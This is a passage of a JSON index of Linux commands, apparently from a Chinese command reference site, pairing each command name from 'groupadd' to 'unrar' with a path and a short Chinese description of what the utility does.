/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmems":{"n":"groupmems","p":"/groupmems","d":"管理用户主要组的成员"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"grub2-mkconfig":{"n":"grub2-mkconfig","p":"/grub2-mkconfig","d":"生成 grub.cfg 配置文件。"},"grub2-set-default":{"n":"grub2-set-default","p":"/grub2-set-default","d":"设置系统默认的启动内核"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkcert":{"n":"mkcert","p":"/mkcert","d":"用来生成自签证书的工具"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"neofetch":{"n":"neofetch","p":"/neofetch","d":"显示带有发行徽标的系统信息的工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"调整程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pidstat":{"n":"pidstat","p":"/pidstat","d":"监控进程的系统资源占用情况"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"Smartmontools":{"n":"Smartmontools","p":"/smartmontools","d":"Smartmontools 是一种硬盘检测工具，通过控制和管理硬盘的SMART（Self Monitoring Analysis and Reporting Technology，自动检测分析及报告技术）技术来实现的"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 